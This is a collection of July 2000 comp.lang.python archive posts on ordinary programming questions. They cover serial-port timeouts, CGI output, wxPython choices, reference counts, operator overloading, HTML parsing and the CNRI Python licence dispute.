> 1)  Is there any (easy) way for me to cause the thread to exit (not
> just join the processes) after a timeout on a read?

I believe you can start the thread as a daemon thread and not have the
join problem.  When the thread exits, it just disappears and doesn't wait
for its parent thread to notice.

I'm not sure how to start it as a daemon thread.

> 2)  Is there a better way of reading for data (without starting my own
> thread for the read process and then trying to exit out of the thread
> after a period of time)?

Yes.  Use a select(2), or poll(2) based mechanism.  I believe the asyncore
module handles this for you.  I will also be adding a python wrapper to my
C++ StreamModule (http://www.sourceforge.net/projects/strmod) system
someday, and that should also nicely handle the problem.

Have fun (if at all possible),
--Eric Hopper



From never at matavnet.hu  Tue Jul 11 04:04:35 2000
From: never at matavnet.hu (Hever, Zsolt)
Date: Tue, 11 Jul 2000 10:04:35 +0200
Subject: Writing Chat program in Python and Flash
Message-ID: <396AD513.709B348@matavnet.hu>

Hi there,

I would like to write a Chat program using Flash
<http://www.macromedia.com> as a graphical interface and support it by
Python CGI scripts.  I have the one file Python interpreter  of
mxCGIPython by Marc-Andr? Lemburg on the ISP machine. I wrote a simply
Chat program in Python <http://www.bagoly.matavnet.hu/chat>, but there
is a demand for a better one. 
I would appreciate any idea or comment, which could help.

Zsolt Hever



From mfletch at tpresence.com.bbs  Mon Jul 17 13:40:02 2000
From: mfletch at tpresence.com.bbs (mfletch at tpresence.com.bbs)
Date: 17 Jul 2000 17:40:02 GMT
Subject: Getting local IP address...
Message-ID: <3bRK54$kCF@openbazaar.net>

import socket
def getLocalHostIP( remote = ("www.python.org", 80)):
	'''Get the "public" address of the local machine, i.e.
	that address which is connected to the general internet.
	Code by Donn Cave, posted to comp.lang.python'''
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect( remote )
	ip, localport = s.getsockname()
	s.close()
	return ip

That is actually from a Deja posting, seems to be fairly portable, doesn't
rely on parsing obscure Unix command responses, is readable, and is
generally quite reliable. The more common socket-module-based approach (see
Deja) can be confused if you have multiple network interface cards, but is
still portable (i.e. if you only have a single network interface card, it
should work on all system supporting the socket module).

Enjoy yourselves,
Mike


From kare at speech.kth.se  Tue Jul 18 06:56:21 2000
From: kare at speech.kth.se (Kare Sjolander)
Date: Tue, 18 Jul 2000 12:56:21 +0200
Subject: Sound module question
References: <396BBA07.E844152@bresnanlink.net> <396BC08E.A3C036A4@pehr.net> <396C18D8.EC4CC59@bresnanlink.net> <396CF9BD.B8088DAF@home.com> <396CFF37.95ABBB53@bresnanlink.net>
Message-ID: <397437D5.C12985DB@speech.kth.se>

I have just downloaded Python with the aim of looking into the
possibility of making Snack work with Python. Ideally, the Python
implementation would of course not include any Tcl dependencies
whatsoever. Don't know yet how realistic that is. Have checked out SWIG
too.

Regards
Kare


Aaron Berg wrote:

> Thanks Kevin. I will look into it.
> Aaron
>
> Kevin Russell wrote:
>
>> In addition to the suggestions already given, you might think about
>> Snack:
>>
>>      http://www.speech.kth.se/snack/
>>
>> It's really a Tcl extension, but it should be possible to pass
>> commands
>> and info back and forth between Tcl and Python using the same tricks
>> that
>> Tkinter does.
>>
>> -- Kevin
>



From ge at nowhere.none  Mon Jul 17 15:12:33 2000
From: ge at nowhere.none (Grant Edwards)
Date: Mon, 17 Jul 2000 19:12:33 GMT
Subject: Reading asynchronous data from a serial device
References: <8kuvg0$kg2$1@nnrp1.deja.com> <1zIc5.1394$6E.263441@ptah.visi.com>
Message-ID: <BUIc5.1398$6E.264078@ptah.visi.com>

In article <1zIc5.1394$6E.263441 at ptah.visi.com>, Eric Hopper wrote:
>In article <8kuvg0$kg2$1 at nnrp1.deja.com>, julesk24 at my-deja.com wrote:
>> 
>> 1) Is there any (easy) way for me to cause the thread to exit
>> (not just join the processes) after a timeout on a read?
>
>I believe you can start the thread as a daemon thread and not
>have the join problem.  When the thread exits, it just
>disappears and doesn't wait for its parent thread to notice.
>
>I'm not sure how to start it as a daemon thread.
>
>> 2) Is there a better way of reading for data (without starting
>> my own thread for the read process and then trying to exit out
>> of the thread after a period of time)?
>
>Yes.  Use a select(2), or poll(2) based mechanism.  I believe
>the asyncore module handles this for you.  I will also be
>adding a python wrapper to my C++ StreamModule
>(http://www.sourceforge.net/projects/strmod) system someday,
>and that should also nicely handle the problem.

You can use select/poll as Eric suggested (with appropriate
timeout) or you can configure the serial driver itself to
timeout by setting VMIN and VTIME appropriately. If you want to
do this, take a look at the Linux Serial-Programming-HOWTO.
IIRC, all of the termio stuff maps pretty much directly into
Python.

I'd start with select/poll and its timout.

-- 
Grant Edwards                   grante             Yow!  I'm DESPONDENT... I
                                  at               hope there's something
                               visi.com            DEEP-FRIED under this
                                                   miniature DOMED STADIUM...


From grey at despair.rpglink.com  Fri Jul 28 21:09:33 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Sat, 29 Jul 2000 01:09:33 GMT
Subject: Perl is worse!
References: <slrn8o25nr.e7.grey@teleute.rpglink.com> <8lsdir$aja$1@plutonium.compulink.co.uk> <slrn8o3fei.49c.grey@teleute.rpglink.com> <u3dku59ni.fsf@ctwd0143.fitlinxx.com> <slrn8o3tio.49c.grey@teleute.rpglink.com> <uwvi54v73.fsf@ctwd0143.fitlinxx.com>
Message-ID: <slrn8o4bia.7dm.grey@teleute.rpglink.com>

On 28 Jul 2000 20:49:20 -0400, David Bolen <db3l at fitlinxx.com> wrote:
>It's really easy to gloss over this with the basic object types since in many
>respects they behave much as other languages in common sorts of operations,
>but it can lead to confusion when the simpler view starts to break down.  I
>don't know that this explains all that much discussed in this thread, but
>there have been various points where I think it's just an issue of the Perl
>and Python approaches being quite different under the covers even though they
>may appear very close superficially.  Getting past that mental hurdle (as far
>as understanding, not putting any good/bad slant on it) might significantly
>shrink your current store of Python behaviors you consider "quirks".

    I just wanted to quote this paragraph because it so neatly sums up the
whoe subset of the thread that I have been a part of (created?).  I think
you're dead on on all points in it and agree completely.  

>Well, besides being impressed that you're keeping it up this long, and
>without trying to sound condescending, I'm enjoying seeing how your
>examples are exposing what learned traits/visualizations from using
>Perl so much.  I hope that you still give Python some time and
>experimentation, as you may find yourself forming new opinions :-)

    I'm really trying not to.  I know some things slip through since my normal
style is rather, uhm, strong, but the reception has been, for the most part,
quite nice and I do try to keep the tone in the same manner given.  I am going
to stick with Python for a while.  I've been looking at it for a few months,
attended both classes at the O'Reilly conference and as a result of those
classes decided to get the Beazley book instead of the O'Reilly book and have
enjoyed thumping my head against Python.  I think part of it is because I've
finally gotten to a point in my programming (scripting, whatever) where I can
now shift into a language instead of /learn/ a language.  I had a positive
experience with some Javascript I had to code for work even though I never
even tried Javascript before and now a positive experience with Python.

    To be honest right now my script is sitting, still testing the base class,
which worked with the basic form of dice but doesn't take the extended form.
I need to go in and rework the regex (trying to avoid two calls) to accept
both in one pass.  Once I get that done I'll have the base class defined and
will move on to creating different classes from that one to do different types
of rolls.  Main reason why I decided to port this script over to Python from
Perl was that I could easily visualize a real-world structure to learn OO
programming as opposed to functional through classes.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From peter at schneider-kamp.de  Thu Jul 13 05:47:47 2000
From: peter at schneider-kamp.de (Peter Schneider-Kamp)
Date: Thu, 13 Jul 2000 09:47:47 +0000
Subject: Module linuxaudiodev
Message-ID: <396D9043.B7DA7EEF@schneider-kamp.de>

Does anyone have a real example how to use linuxaudiodev
for playing and/or recording sound?

If not, does somebody have a contact for the author,
Peter Bosch?

Thanks in advance,
Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From michael at stroeder.com  Sun Jul  2 10:42:07 2000
From: michael at stroeder.com (Michael =?iso-8859-1?Q?Str=F6der?=)
Date: Sun, 02 Jul 2000 16:42:07 +0200
Subject: CGI and images
References: <395F4C53.589EAFC0@cybercable.fr>
Message-ID: <395F54BF.E3D9A0C4@stroeder.com>

Yannick Le Teigner wrote:
> 
> print "Content-type: image/gif\n\n"
                                ^^^^
Only one \n is needed if using print.

> print open(myImage, "rb").read()

Again: print adds an extra \n to the output. Use sys.stdout.write()
instead to have full control. If mixing print and sys.stdout.write()
you might have to use sys.stdout.flush() sometimes.

Ciao, Michael.


From gee308 at mediaone.net  Mon Jul 24 20:01:50 2000
From: gee308 at mediaone.net (Toy)
Date: Tue, 25 Jul 2000 00:01:50 GMT
Subject: modpython
Message-ID: <397CDE14.3D230036@mediaone.net>

I have installed the RPM of mod python onto my Linux Mandrake
distribution.  I have python 1.5.2.  When I restart apache, I get a
segment fault error.  This problem has been noted at pythonmod.org .
I tried the fix ( load pythonmod as first module), but it didn't work.
Could someone please send me  a basic httpd.conf file that has modpython
included with it?  Also, if you need any other info about my apche or
python setup, please ask.  Thanks
Jason Toy
toyboy at toy.eyep.net
http://toy.eyep.net



From grey at despair.rpglink.com  Sat Jul 29 17:58:06 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Sat, 29 Jul 2000 21:58:06 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com> <slrn8o397m.3ok.grey@teleute.rpglink.com> <8lse9j01oti@news2.newsguy.com> <slrn8o3jap.49c.grey@teleute.rpglink.com> <slrn8o42r6.dti.wtanksle@dolphin.openprojects.net> <slrn8o449h.49c.grey@teleute.rpglink.com> <slrn8o4l9e.md1.wtanksle@dolphin.openprojects.net> <3982F04D.74FCF41C@webamused.com>
Message-ID: <slrn8o6kna.f91.grey@teleute.rpglink.com>

On Sat, 29 Jul 2000 15:49:00 GMT, Joshua Macy <amused at webamused.com> wrote:
>  I could be wrong, but I'm under the strong impression that the term
>"automagic" is thrown around repeatedly as a description of Perl's
>behavior in Programming Perl.  Does that make Larry Wall a disgrace to
>the language he invented?

    No because he doesn't throw it around as a negative of the language like
some people here did.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From paul at prescod.net.bbs  Mon Jul 17 19:10:03 2000
From: paul at prescod.net.bbs (paul at prescod.net.bbs)
Date: 17 Jul 2000 23:10:03 GMT
Subject: Discussion: Introducing new operators for matrix computation
Message-ID: <3bRSXS$je4@openbazaar.net>

Gareth McCaughan wrote:
>
> ...
>
> Only if you implement matrices as lists of lists, in which
> case operations like * and / won't work anyway. I was assuming
> that (1) you have a special Matrix class, and (2) the machinery
> for list comprehensions is flexible enough to let it express
> other kinds of mapping.

Today, the list comprehension syntax is syntactic sugar for

a=[]
for i in firstloop:
	for j in secondloop: ...
		a.append( i, j )

I don't see any easy way to guess what type you want as "output" so it
has to default to a fixed type. You could of course do this:

Matrix( [...] )

I would be curious about ideas for allowing the output object to be
specified or inferred. What would the protocol be?

--
 Paul Prescod - Not encumbered by corporate consensus
It's difficult to extract sense from strings, but they're the only
communication coin we can count on.
	- http://www.cs.yale.edu/~perlis-alan/quotes.html


From keitt at nceas.ucsb.edu  Tue Jul 25 15:49:08 2000
From: keitt at nceas.ucsb.edu (Timothy H. Keitt)
Date: Tue, 25 Jul 2000 12:49:08 -0700
Subject: Operators for everything (was Re: Operators for matrix)
References: <Pine.LNX.4.10.10007180134360.9411-100000@rock.localdomain> <ZW4d5.3559$FA2.391374@nnrp3.clara.net> <oa5dns8idp0ktl6kvlr37ps1ovrip48a0h@4ax.com> <3977AF5E.552F4F42@my.signature> <W.Whiten-2107001658290001@whiten-mac.jkmrc.uq.edu.au> <397B6319.27A6438A@nceas.ucsb.edu> <m34s5gqwt3.fsf@brant.geog.ubc.ca> <397D09E8.86BB4A20@my.signature>
Message-ID: <397DEF33.366F5137@nceas.ucsb.edu>

Greg Ewing wrote:

> Phil Austin wrote:
> >
> > %%                       Arithmetic Operators (base)
> > %*%                      Matrix Multiplication (base)
> > %/%                      Arithmetic Operators (base)
> > %in%                     Value Matching (base)
> > %o%                      Outer Product of Arrays (base)
> > %x%                      Kronecker Product of Arrays (base)
> > &                        Logical Operators (base)
> > &&                       Logical Operators (base)
>
> I think this must be the *worst* looking syntax that's
> been proposed so far...

I'm agnostic as I don't use currently python. (I'm evaluating it for
teaching numerical analysis and modeling.)  But I will say, there is not
going to be a 'beautiful' syntax solution based on the available symbols
(and how attractive a syntax looks depends highly on what you are used
to seeing).  Keep to that argument and I guarantee that the issue will
not be resolved.

Tim

--
Timothy H. Keitt
National Center for Ecological Analysis and Synthesis
735 State Street, Suite 300, Santa Barbara, CA 93101
Phone: 805-892-2519, FAX: 805-892-2510
http://www.nceas.ucsb.edu/~keitt/





From akuchlin at mems-exchange.org  Tue Jul 25 14:07:36 2000
From: akuchlin at mems-exchange.org (Andrew Kuchling)
Date: 25 Jul 2000 14:07:36 -0400
Subject: Python is wierd!
References: <LNBBLJKPBEHFEDALKOLCOEMPGLAA.tim_one@email.msn.com>
Message-ID: <3dk8eakrrr.fsf@kronos.cnri.reston.va.us>

"Tim Peters" <tim_one at email.msn.com> writes:
> Are you
> old enough to remember the then-famous 1977 paper "Ambiguities and
> Insecurities in Pascal", by Welsh, Sneeringer and Hoare?  A frank discussion
	                             ^^^^^^^^^
A good name for the co-author of a critical paper!

--amk


From edream at tds.net  Thu Jul  6 17:47:26 2000
From: edream at tds.net (Edward K. Ream)
Date: Thu, 06 Jul 2000 21:47:26 GMT
Subject: wxPython or wxWindows + Python?
Message-ID: <3964FE55.ECD800AB@tds.net>

Hi,

I'm thinking of embedding the Python interpreter in my wxWindows app, or
else using wxPython to host my app.  I can think of various pros & cons.

Pros of using wxWindows + Python:

Existing C++ code can be used as is.
Users don't have to install Python.
Possibly easier to create .exe app.
More classes available on wxWindows.  (not important for my app).
A Mac version of wxWindows exists (sort of).

Pros of using wxPython:

Python code is simpler.
Best to base app on Python.
Python is the wave of the future, etc.
Better widgets may be available w/ Python.
Easier to add scripting support.
Easier to use existing scripts.

What do you all think of the choices?  Are any of these points invalid? 
Anything I've missed?

Thanks,

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edream at tds.net
Leo: Literate Editor with Outlines
Leo: http://personalpages.tds.net/~edream/front.html
--------------------------------------------------------------------


From rwallace at esatclear.ie  Thu Jul  6 09:38:07 2000
From: rwallace at esatclear.ie (Russell Wallace)
Date: Thu, 06 Jul 2000 14:38:07 +0100
Subject: Class design: accessing "private" members
References: <962352843.1667731268@news.libertysurf.fr>
Message-ID: <39648BBF.2AC0@esatclear.ie>

Jerome Quelin wrote:
> 
> Hi all,
> 
> When designing a class, I wrote some accessors (get_var() and set_var()
> methods) for my "private" members (private in the sense that I don't want
> somebody to access them directly from outside the class.
> I was wondering if it is good practice to acceed to those private members from
> _inside_ my class, or should I use the accessors methods too?
> Well, ok, it would be slower (function calls are always more expensive), but
> isn't it more OO-well-behaviored?

Me, I don't generally bother using accessors at all; but if you find
they're a good idea, fair enough.

Presumably your reason for doing so is that you think there's a
significant chance that the attributes will be changed, and you want to
try to insulate client code from the effects of this change.  In that
case you should use them internally as well, because that will help
insulate the rest of your class code also.

Conversely, if you find it too awkward or inefficient to use them
internally, you should bear in mind the possibility that other people
will also find the accessor methods too awkward or inefficient when
using the class :)

-- 
"To summarize the summary of the summary: people are a problem."
Russell Wallace
mailto:rwallace at esatclear.ie
http://www.esatclear.ie/~rwallace


From Gareth.McCaughan at pobox.com  Fri Jul 28 15:03:34 2000
From: Gareth.McCaughan at pobox.com (Gareth McCaughan)
Date: Fri, 28 Jul 2000 20:03:34 +0100
Subject: [Draft] Open Letter to CNRI: Request for clarification
References: <39816303.C808D05A@nowonder.de>
Message-ID: <slrn8o3m86.17lq.Gareth.McCaughan@g.local>

Peter Schneider-Kamp wrote:

> --- begin open letter -------------------------------------------------------
> To: Dr. Robert E. Kahn <rkahn at cnri.reston.va.us>,
>     (president of The Corporation for National Research Initiatives)
> 
> Dear Mr. Kahn,
> 
> as a member of the Python Community which gathers around the newsgroup
> comp.lang.python I would like to express my concern about the latest
> license issues that have arisen around the new 1.6/2.0 releases.

I think it would be better not to capitalise "community".
That would suggest some *organisation*, and there isn't
one; just a bunch of people who are concerned about all
the to-ings and fro-ings.

> As of now I have not had the chance to witness any official statement
> from your institution. So I sincerely request a clarification of CNRI's
> position on this matter.

I suggest avoiding "witness". You witness crimes, and road
accidents, and legal documents. "As of now, there has been
no official statement from your institution, and so no one
really knows what is going on. I would be very grateful for
some clarification of CNRI's position.", perhaps?

> I have attached a list of signatures of members of the Python Community
> who are also concerned about the recent developments and through their
> signature support this request for clarification.

Again, "community" is probably better than "Community". Maybe
replace "concerned about" with "concerned about, and puzzled
by"?

(Feel free to add my name to the list.)

> P.S.:
> I find it rather startling that you see a need to change the license of
> a software whose development already has moved away from your institution.

I concur with those who have said that this would be better
omitted. No point in stirring up grievances if they're there.

-- 
Gareth McCaughan  Gareth.McCaughan at pobox.com
sig under construction


From michael at stroeder.com  Mon Jul  3 02:47:47 2000
From: michael at stroeder.com (Michael =?iso-8859-1?Q?Str=F6der?=)
Date: Mon, 03 Jul 2000 08:47:47 +0200
Subject: Python CGI security
References: <B5851962.5E%bojar@speakeasy.org>
Message-ID: <39603713.47CD2012@stroeder.com>

"E. Jordan Bojar" wrote:
> 
> I'm interested in running a series of Python scripts via the Apache Python
> module, mostly for dynamic content but possibly for password protection as
> well.  Are there security issues particular to (or common with) Python 
> CGIs,
> in the way that buffer overflow is so common to poorly-written Perl?

I tried to raise this topic here a couple of weeks ago but NO
RESPONSE! Afterwards I started a similar thread in
news:de.comp.security (german newsgroup). Regarding Python code a
guy mentioned that your Python code should avoid eval() and exec().

I'm not a C programmer at all and therefore I just naively used a
tool named ITS4: <URL: http://www.rstcorp.com/its4/> to find parts
in the Python interpreter which might have buffer overrun issues. I
would really like to have some discussion about the ITS4-output.

Ciao, Michael.


From swun at esec.com.au  Wed Jul  5 01:45:56 2000
From: swun at esec.com.au (sss)
Date: Wed, 05 Jul 2000 15:45:56 +1000
Subject: DCOracle error
Message-ID: <3962CB94.2DDA9AA9@esec.com.au>

I don't know why I got this error when I try to install DCOracle in the
Linux machine.
I've got Oracle sqlplus: SQL*Plus: Release 8.1.5.0.0

Here is the err msg:

[oracle at ironfist src]$ make
gcc -fPIC -g -O2 -I/usr/include/python1.5 -I/usr/include/python1.5
-DHAVE_CONFIG_H  -I/home/oracle/product/8.15/rdbms/demo
-I/home/oracle/product/8.15/rdbms/public
-I/home/oracle/product/8.15/network/public
-I/home/oracle/product/8.15/plsql/public -DDCORACLE8 -c ./oci_.c
In file included from ./oci_.c:562:
Buffer.h:79: warning: static declaration for `PyImport_Import' follows
non-static
oci_8.c: In function `Logon':
In file included from ./oci_.c:693:
oci_8.c:95: warning: passing arg 4 of `OCIHandleAlloc' makes integer
from pointer without a cast
oci_8.c: In function `newLob':
oci_8.c:446: warning: passing arg 4 of `OCIDescriptorAlloc' makes
integer from pointer without a cast
oci_8.c: In function `initoci_8':
oci_8.c:483: warning: passing arg 3 of `OCIEnvInit' makes integer from
pointer without a cast
./oci_.c: In function `_wrap_odescr':
./oci_.c:2595: warning: assignment from incompatible pointer type
gcc -shared  oci_.o  -L/home/oracle/product/8.15/lib/
-L/home/oracle/product/8.15/rdbms/lib
/home/oracle/product/8.15/rdbms/lib/defopt.o
/home/oracle/product/8.15/lib/sscoreed.o
/home/oracle/product/8.15/lib/nautab.o
/home/oracle/product/8.15/lib/naeet.o
/home/oracle/product/8.15/lib/naect.o
/home/oracle/product/8.15/lib/naedhs.o -lnetv2 -lnttcp -lnetwork -lncr
-lnetv2 -lnttcp -lnetwork -lclient -lvsn -lcommon -lgeneric -lmm
-lnlsrtl3 -lcore4 -lnlsrtl3 -lcore4 -lnlsrtl3 -lnetv2 -lnttcp -lnetwork
-lncr -lnetv2 -lnttcp -lnetwork -lclient -lvsn -lcommon -lgeneric -lepc
-lnlsrtl3 -lcore4 -lnlsrtl3 -lcore4 -lnlsrtl3 -lclient -lvsn -lcommon
-lgeneric -lnlsrtl3 -lcore4 -lnlsrtl3 -lcore4 -lnlsrtl3 -lsocket -lnsl
-lgen -ldl -lelf -laio -lposix4 -lsql -lm -lm -lnetv2 -lnttcp -lnetwork
-lncr -lnetv2 -lnttcp -lnetwork -lclient -lvsn -lcommon -lgeneric -lmm
-lnlsrtl3 -lcore4 -lnlsrtl3 -lcore4 -lnlsrtl3 -lnetv2 -lnttcp -lnetwork
-lncr -lnetv2 -lnttcp -lnetwork -lclient -lvsn -lcommon -lgeneric -lepc
-lnlsrtl3 -lcore4 -lnlsrtl3 -lcore4 -lnlsrtl3 -lclient -lvsn -lcommon
-lgeneric -lnlsrtl3 -lcore4 -lnlsrtl3 -lcore4 -lnlsrtl3 -lsocket -lnsl
-lgen -ldl -lelf -laio -lposix4 -lsql -lm -lm -o oci_.so
/usr/bin/ld: cannot open -lnetv2: No such file or directory
collect2: ld returned 1 exit status
make: *** [oci_.so] Error 1
[oracle at ironfist src]$


--
Sam Wun                            Firewalls / Security
OneGuard Senior Software Engineer  Electronic Commerce
eSec Limited                       Phone: +61 3 83715376
mailto:swun at eSec.com.au            C++/JAVA/UNIX/OOP/OOD


-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20000705/183b06d8/attachment.html>

From thiele at muc.das-werk.de  Mon Jul 10 14:13:07 2000
From: thiele at muc.das-werk.de (Thomas Thiele)
Date: Mon, 10 Jul 2000 20:13:07 +0200
Subject: references again
Message-ID: <396A1233.17F2F302@muc.das-werk.de>

Hallo. My problem is still unsolved. 

I don't understand the following behaviour:

----------------------------------------
#! /usr/local/python/bin/python

import string, pickle, sys

class X:
	def __init__(self, s):
		self.s = s

x1 = X("jana")
print sys.getrefcount(x1.s)

#Problem 1:
# that prints 5 why? I expected 2! 
# (only one ref from x1.s plus temp. ref from 
# sys.getrefcount)

S = x1.s
print sys.getrefcount(x1.s)   

#prints 6, ok one reference more

str = pickle.dumps(x1)
x2 = pickle.loads(str)
print sys.getrefcount(x1.s)   

#Problem 2:
#prints 7, why? Is "jana" still used?

x1 = x2

print sys.getrefcount(x1.s)   

#prints 6, ok one reference less


#But now the most difficult problem 3:

one , two, three , four, five = 65,65,65,65,65
while(1):
	#creating different string of constant size
	str = "%c%c%c%c%c" % (one, two, three , four, five) 
	one = one + 1
	if one > 90:
		one = 65
		two = two + 1
		if two > 90:
			two = 65
			three = three + 1
			if three > 90:
				three = 65
				four = four + 1	
				if four > 90:
					four = 65
					five = five + 1	
					if five > 65:
						one , two, three , four, five = 65,65,65,65,65	
	x = X(str)
	str = pickle.dumps(x)
	x1 = pickle.loads(str)
	print str, sys.getrefcount(x1.s),

#sys.getrefcount() returns 4. I don't know why, but that is not the real
problem.
The Problem is that the program eats memory!!!!!
It seems that all older variants of str will be stored. But there is no
reference more to the older ones!

Any explanations?


From michael at stroeder.com  Sat Jul 22 10:40:35 2000
From: michael at stroeder.com (Michael =?iso-8859-1?Q?Str=F6der?=)
Date: Sat, 22 Jul 2000 16:40:35 +0200
Subject: PyPGP?
References: <39751C1A.5F476774@mastnet.net> <3dn1jaxp5j.fsf@kronos.cnri.reston.va.us>
Message-ID: <3979B263.CD885518@stroeder.com>

Andrew Kuchling wrote:
> 
> John Clonts <jclonts at mastnet.net> writes:
> > Is this a current effort?
> 
> No, it's dead, and was written in the days of PGP 2.6.2.  The file
> format has changed subsequently, so the code would need to be updated
> to match the latest OpenPGP RFC.

You might wanna have a look at M2Crypto found on
http://www.post1.com/home/ngps/m2/ which has some support for PGP
(did not use it myself up to now).

Ciao, Michael.


From nowonder at nowonder.de  Fri Jul 28 06:41:43 2000
From: nowonder at nowonder.de (Peter Schneider-Kamp)
Date: Fri, 28 Jul 2000 10:41:43 +0000
Subject: [Draft] Open Letter to CNRI: Request for clarification
References: <39816303.C808D05A@nowonder.de>
Message-ID: <39816367.9D7532D7@nowonder.de>

For your enjoyment - the first version of this draft:

--- begin not-so-serious draft
-----------------------------------------------

  Corporation for National Research Initiatives, you weary giant of
lawyerism,
I come from comp.lang.python, the home of the Python Community. On
behalf of
the future, I ask you of the past to leave Python alone. Your licenses
are
no longer welcome among us. You have no sovereignty over our language.

  We have no elected government, nor are we likely to have one, so I
address
you with no greater authority than that with which liberty itself always
speaks. I declare the global language community we are building to be
naturally independent of these new tyrannies you seek to impose on us.
You
have no moral right to bind us to your new licenses nor do you possess
any
methods of enforcement we have true reason to fear. Do not think that
you can
build Python as though it were a public construction project. You
cannot. It
is an act of nature and it grows itself through our collective actions. 

  You have not engaged in our great and gathering conversation. You do
not
know our culture, our ethics, or the unwritten codes that already
provide our
language more order than could be obtained by any of your impositions. 

  You claim there are problems with the old license you need to solve.
You
use this claim as an excuse to invade our precincts. These problems
don't
exist. In our world software needs to be free. Our world is different.
Your
legal concepts of property and control do not apply to us.

  We believe that from ethics, enlightened self-interest, and the
benevolent
dicator for life, our governance will emerge . Our identities are
distributed
across many jurisdictions. The only laws that all our constituent
cultures
would generally recognize are the Golden Rule and the Freedom of
Software.
We hope we will be able to build our particular solutions on that basis.
But
we cannot accept the solutions you are attempting to impose. 

  In the last weeks you have tried to impose a new license on the Python
langugage. You are terrified of your own project, since you fear that
you are
loosing control with the move of the Python development team to BeOpen.
Because you fear this, you entrust your bureaucracies with the parental
responsibilities you are too cowardly to confront yourselves.

  These increasingly hostile and colonial measures place us in the same
position as a certain group of lovers of freedom and self-determination
who
in 1776 had to reject the authorities of distant, uninformed powers. We
must
declare our beloved language immune to your sovereignty, even as we
continue
to consent to your rule over older versions.

  We will create our own version of Python. May it be more free and
succesful
than the one you have made before.

                                                            Trondheim,
Norway                                                                                                                             
July 28, 2000
                                                     Jan Peter
Schneider-Kamp

--- end not-so-serious draft
-------------------------------------------------

<wink>-ly
Peter

    "Those who make peaceful revolution impossible 
     will make violent revolution inevitable."
                               -- John F. Kennedy
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From tim_one at email.msn.com  Fri Jul 28 02:41:08 2000
From: tim_one at email.msn.com (Tim Peters)
Date: Fri, 28 Jul 2000 02:41:08 -0400
Subject: The State of Python
In-Reply-To: <slrn8o28s2.l2n.stianh@localhost.localdomain>
Message-ID: <LNBBLJKPBEHFEDALKOLCEEJGGMAA.tim_one@email.msn.com>

[Tim]
> The old Python license served it very well for a decade.

[Stian Husemoen]
> It served CNRI very well..

Not really:  Python has never been released with a CNRI license.  It's still
using the CWI license it had from the very start.  That's what CNRI wants to
change, although why they waited to force the issue until Python was gone is
unknown to me.  CNRI does hold the copyright, though.  Or at least that's
what everyone seems to believe, despite that it's conspicuous by absence:

C:\Python16>python
Python 1.6a2 (#0, Apr  6 2000, 11:45:12) [MSC 32 bit (Intel)] on win32
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
>>>

> as it made it possible for them to grab a hold of everyones
> contribution and make it their own property.

I don't think even an ill-willed reading of the Python license supports that
view.  It's been certified as an Open Source license, and while you may want
to call it a "free software" license instead, same thing with respect to
your rights to get, use and modify all the code.

> The hole driving force of a open source project is that people
> feel they own a part of the code. If that's taken away, people will stop
> working on the project.

That's never been a problem for Python.  Whether it *will* be a problem
under the new CNRI license remains to be seen -- for that matter, the CNRI
license itself remains to be seen <wink>.  If enough people turn out to hate
it, I personally don't see anything to stop them grabbing Python 1.6a2 and
building on that (1.6a2 being the last release that came with the old Python
license).  For that matter, they may even be able to grab the current CVS
tarball.  Whether CNRI would fight that is an, umm, "interesting" question.
I don't know what their goal is here, so it's darned hard to guess.

life-in-limboland-ly y'rs  - tim





From david_ullrich at my-deja.com  Thu Jul 20 11:40:42 2000
From: david_ullrich at my-deja.com (david_ullrich at my-deja.com)
Date: Thu, 20 Jul 2000 15:40:42 GMT
Subject: Trouble when overloading operator[ ]
References: <8l720o$lr4$1@nnrp1.deja.com>
Message-ID: <8l76hm$pm9$1@nnrp1.deja.com>

In article <8l720o$lr4$1 at nnrp1.deja.com>,
  manolop at my-deja.com wrote:
> Hi!
>
> I need to overload the [ ] operator in a class, so that I can do
things
> like my_class[2][3]

   As someone else said, that will not work unless
__getitem__ returns an object with a __getitem__
method (or an actual sequence).

   You can use the notation [2,3] to accomplish the same
thing: it appears that if you use multiple indices they
get passed as a tuple to __getitem__:

class C:
  def __getitem__(self, index):
    """Returns the sum of the indices passed:"""
    if type(index) == TupleType:
      return reduce(lambda x , y: x + y, index)
    else:
      return index

c = C()
print c[2,3]
print c[5]
print c[1,1,1,1,1]

> Everything works fine when I only use one [ ] and the correct values
> are passed to __getitem__, but I run into trouble when I add the
second
> [ ].  Should I use __getitem__ for the double[ ] or is there another
> method? O:-)
>
> TIA
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From moshez at math.huji.ac.il  Fri Jul 28 07:59:55 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Fri, 28 Jul 2000 14:59:55 +0300 (IDT)
Subject: Searching in an html file
In-Reply-To: <8lrrgd$9o7$1@nnrp1.deja.com>
Message-ID: <Pine.GSO.4.10.10007281457090.8539-100000@sundial>

On Fri, 28 Jul 2000 pauljolly at my-deja.com wrote:

> Dear all,
> 
> I have managed to write the code to retrieve an html file from a given
> address, and transfer this to a variable. I am now trying to search for
> a &deg; within the file, using the re module. I cannot however get it
> to work.

Thank your luck. Instead, try using htmllib, which knows more about
HTML then you'd ever want to.
Just overide handle_entityref to look for "deg" and be done with it.

--
Moshe Zadka <moshez at math.huji.ac.il>
There is no IGLU cabal.
http://advogato.org/person/moshez




